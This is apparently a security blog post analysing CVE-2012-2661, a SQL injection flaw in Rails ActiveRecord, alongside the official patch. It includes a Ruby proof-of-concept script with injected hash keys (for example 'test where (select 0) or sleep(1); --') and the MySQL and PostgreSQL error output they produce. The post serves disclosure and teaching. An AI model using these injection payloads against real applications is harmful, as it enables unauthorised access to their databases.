Security and software crafting for hacking minds
 

CVE-2012-2661: SqlInjection on Rails

SQL Injection is the most dangerous risk a web application is exposed to. If an input is not fully sanitized before used to build a SQL query it is possible to subvert the query itself injecting pieces of arbitrary SQL code.

Results can vary from unauthorized data access to system compromize.

ActiveRecord is the default ORM for Rails web application framework and it suffered from a SQL Injection form patched last 31 May.

The attack

You’re using an ActiveRecport object and you’re taking something from the view layer passing to your model fetching data.

When you try to pass an Hash object as field to where method as example, injecting some SQL code into it, ActiveRecord fails to build the SQL Query and the injection occurs as explained in this blog post.

the string exploiting CVE-2012-2661
1

User.where(:password => {'test where (select 0) or sleep(1); -- .user' => {'id' => '1234'}}).all

Mysql

It seems that all the stuff before the leading ‘.’ in the Hash key value is taken and injected as WHERE clause in a SHOW TABLE statement when used with MySQL as backend RDBMS.

A very lame boilerplate exploiting attempt 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

#!/usr/bin/env ruby
require 'active_record'
ActiveRecord::Base.establish_connection(
      :adapter  => "mysql2",
      :host     => "localhost",
      :username => "thesp0nge",
      :password => "",
      :database => "test"
    )


class User < ActiveRecord::Base
end

puts "MySQL2"

begin
User.where(:password => {'test where (select 0) or sleep(1); -- .user' => {'id' => '1234'}}).all
rescue Exception => e
  puts e.message
end

This code resulted in the following error printed with some delay telling the sleep() has been called:

A very lame boilerplate exploiting attempt 
1
2
3

$ ./cve_2012_2661.rb
MySQL2
Mysql2::Error: Unknown column 'test where (select 0) or sleep(1); -- .user.id' in 'where clause': SELECT `users`.* FROM `users`  WHERE `test where (select 0) or sleep(1); -- `.`user`.`id` = '1234'

Executing this code mangling the database name, test, with something the user thesp0nge is not allowed to access, let’s say the mysql database, output error indicates where the injection really occurs:

A very lame boilerplate exploiting attempt 
1
2
3

$ ./cve_2012_2661.rb
MySQL2
Mysql2::Error: Access denied for user ''@'localhost' to database 'mysql': SHOW TABLES IN mysql where (select 0) or sleep(1); --  LIKE 'user'

From the error message it seems either that ActiveRecord didn’t try to authenticate with user thesp0nge, leaving the field value empty. I tried a bit to exploit either the attack vector in order to put an arbitrary value as connection username but I failed, maybe I’ll return on this another time.

PostgreSQL

The same attack vector applied on a postgresql driven database connection resulted in a completely different error message:

A very lame boilerplate exploiting attempt 
1
2
3
4

$ ./cve_2012_2661.rb
PostgreSQL
PG::Error: ERROR:  schema "test where (select 0) or sleep(1) ; -- " does not exist
: SELECT "users".* FROM "users"  WHERE "test where (select 0) or sleep(1) ; -- "."user"."id" = '1234'

Using another RDBMS it seems that attack payload was injected straight forward in the WHERE clause for the SELECT statement.

Crafting more the attack payload I found something intersting, the error message changed significantly. Fetching the users removing the dot from the hash key value, resulted the adapter to think the key was a table name.

A very lame boilerplate exploiting attempt 
1

User.where(:password => {'1=0 or sleep(1); -- user' => {'id' => '1234'}}).all

A very lame boilerplate exploiting attempt 
1
2
3
4
5
6

 ./cvs_2012_2661.rb
PostgreSQL
PG::Error: ERROR:  missing FROM-clause entry for table "1=0 or sleep(1); -- user"
LINE 1: SELECT "users".* FROM "users"  WHERE "1=0 or sleep(1); -- us...
                                             ^
: SELECT "users".* FROM "users"  WHERE "1=0 or sleep(1); -- user"."id" = '1234'

However it seems that PostgreSQL adapter was smart enough to double any “ character so I was not able to close the WHERE part of the SELECT.

The patch

Aaron Patterson submitted a patch for Rails 3.0, 3.1 and 3.2 latest Friday. Files involved in the patch are not the adapters but the code building the SQL predicate from the Hash object.

the patch for rails 3.2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100

From 71f7917c553cdc9a0ee49e87af0efb7429759718 Mon Sep 17 00:00:00 2001
From: Aaron Patterson <aaron.patterson@gmail.com>
Date: Wed, 30 May 2012 15:04:11 -0700
Subject: [PATCH] predicate builder should not recurse for determining where
 columns. Thanks to Ben Murphy for reporting this

CVE-2012-2661
---
 .../associations/association_scope.rb              |   17 ++++++++++++++++-
 .../active_record/relation/predicate_builder.rb    |    6 +++---
 activerecord/test/cases/relation/where_test.rb     |   19 +++++++++++++++++++
 3 files changed, 38 insertions(+), 4 deletions(-)
 create mode 100644 activerecord/test/cases/relation/where_test.rb

diff --git a/activerecord/lib/active_record/associations/association_scope.rb b/activerecord/lib/active_record/associations/association_scope.rb
index b3819e3..f9cffa4 100644
--- a/activerecord/lib/active_record/associations/association_scope.rb
+++ b/activerecord/lib/active_record/associations/association_scope.rb
@@ -75,7 +75,7 @@ module ActiveRecord

             conditions.each do |condition|
               if options[:through] && condition.is_a?(Hash)
-                condition = { table.name => condition }
+                condition = disambiguate_condition(table, condition)
               end

               scope = scope.where(interpolate(condition))
@@ -114,6 +114,21 @@ module ActiveRecord
         end
       end

+      def disambiguate_condition(table, condition)
+        if condition.is_a?(Hash)
+          Hash[
+            condition.map do |k, v|
+              if v.is_a?(Hash)
+                [k, v]
+              else
+                [table.table_alias || table.name, { k => v }]
+              end
+            end
+          ]
+        else
+          condition
+        end
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb
index a789f48..9c84d8a 100644
--- a/activerecord/lib/active_record/relation/predicate_builder.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder.rb
@@ -1,16 +1,16 @@
 module ActiveRecord
   class PredicateBuilder # :nodoc:
-    def self.build_from_hash(engine, attributes, default_table)
+    def self.build_from_hash(engine, attributes, default_table, check_column = true)
       predicates = attributes.map do |column, value|
         table = default_table

         if value.is_a?(Hash)
           table = Arel::Table.new(column, engine)
-          build_from_hash(engine, value, table)
+          build_from_hash(engine, value, table, false)
         else
           column = column.to_s

-          if column.include?('.')
+          if check_column && column.include?('.')
             table_name, column = column.split('.', 2)
             table = Arel::Table.new(table_name, engine)
           end
diff --git a/activerecord/test/cases/relation/where_test.rb b/activerecord/test/cases/relation/where_test.rb
new file mode 100644
index 0000000..90c690e
--- /dev/null
+++ b/activerecord/test/cases/relation/where_test.rb
@@ -0,0 +1,19 @@
+require "cases/helper"
+require 'models/post'
+
+module ActiveRecord
+  class WhereTest < ActiveRecord::TestCase
+    fixtures :posts
+
+    def test_where_error
+      assert_raises(ActiveRecord::StatementInvalid) do
+        Post.where(:id => { 'posts.author_id' => 10 }).first
+      end
+    end
+
+    def test_where_with_table_name
+      post = Post.first
+      assert_equal post, Post.where(:posts => { 'id' => post.id }).first
+    end
+  end
+end
--
1.7.5.4

Some thoughts

The real problem I see here is that patch is a real quick and dirty fix to mitigate this, that doesn’t mean a positive approach has been done to make the ActiveRecord::Base a safe place to be.

I don’t even know if a real and dangerous exploit can be written for this injection but I do think a sort of input validation must be applied in a more structured way, maybe using Owasp Esapi for Ruby.

However Rails is still one of my web framework of choice with great hackers working on it.

It’s interesting now, looking how other ORMs react to unsolicited parameters.

You may also like

Let's talk about this

I'm an application security specialists writing a new blog on software development, testing and security stuff. I do hope you'll like the armoredcode.com project and you'll spread the voice. You can even start following @thesp0nge on twitter if you like.

If you liked this post, don't miss any armoredcode.com update. Subscribe to rss feed or receive new posts directly into your mailbox.

You can discuss, upvote, downvote, and poke fun of this post over at Hacker News.

This story is also on reddit. You can comment and rate this post here.

There is an "ask me anything" area hosted on GitHub. Feel free to ask me everything.

Comments